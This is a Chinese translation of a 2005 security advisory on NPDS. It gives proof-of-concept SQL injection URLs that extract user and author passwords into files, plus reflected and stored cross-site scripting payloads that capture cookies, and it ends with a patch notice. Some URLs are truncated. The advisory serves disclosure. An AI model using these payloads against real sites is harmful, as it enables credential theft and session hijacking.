[翻译]NPDS的'glossaire' 组件和连接、查询脚本存在SQL注入漏洞和
资料翻译： fpx[BCT]翻译网站: Bug.Center.Team [url]http://www.cnbct.org[/url]
SecurityTracker ID: 1014073
CVE 叁考: GENERIC-MAP-NOMATCH
日期: 2005 年5月 29 日
影响:攻击者通过网络可以得到系统信息、用户信息，并可修改用户信息。
厂商确认: 是的
摘要: NoSP、Romano 公布NPDS存在一个漏洞。 远程攻击者可以进行SQL注入和跨站攻击。原因是一些特殊脚本设置不当，远程攻击者可以通过构造特殊参数执行SQL指令。
'/ modules/glossaire/glossaire.php' 默认脚本中'terme'变量过滤不严。
漏洞示范：
http://[target]/modules.php?ModPath=glossaire&ModStar t=glossaire&op=rech_terme&type=3&terme=''%20='%20AND%20affiche!='0'%20UNION%20SELECT%200,
http://[target]/modules.php?ModPath=glossaire&ModStart=glossaire&op=rech_term e&type=3&terme=''%20='%20AND%20affiche!='0'%20UNION%20SELECT%200,
The 'links.php?op=search' script does not properly validate user-supplied input in the 'query' parameter. Some demonstration exploit URLs are provided:
http://[target]/links.php?op=search&query=google%'%20UNION%20SELECT%200,un ame,pass,0,0,0,0,0%20FROM%20users%20where%20uname<>''%20INTO%20OUTFILE%20'
http://[target]/links.php?op=search&query=google%'%20UNION%20SELECT%200,aid,pwd,0,0,0,0,0%20 FROM%20authors%20where%20aid<>''%20INTO%20OUTFILE%20'/va
远程攻击者也可以通过跨站脚本攻击，取得管理员，用户cookies。
漏洞示范:
http://[target]/npds/admin.php?mainfile=e&language=<script>alert(document.cookie);</script>
http://[target]/npds/powerpack_f.php?language=<script>aler t()</script>
http://[target]/npds/sdv_infos.php?sitename=<script>alert()</script>
http://[target]/faq.php?myfaq=ys&id_cat=99&categories=<script>alert()</script>
http://[target]/modules.php?ModPath=glossaire&ModStart=glossaire&op=rech_lettre&lettre=<script>alert()</script>
http://[target]/reviews.php?op=postcomment&id=1&title=% 3Cscript%3Ealert();%3C/script%3E
The 'reply.php' script does not properly validate user-supplied input in the 'image_subject' parameter. A remote user can inject scripting code that will be permanently retained on the system.
http://[target]/reply.php?post=1&forum=1&topic=1&stop=2&image_sub ject="><script>alert('je viens de recuperer ton
cookie');</script>&userdata='&time='&poster_ip='&hostname='&message=test&submit=Valider
解决: 厂商已经发布补丁:
厂商网址: [url]www.npds.org[/url]
页:
[1]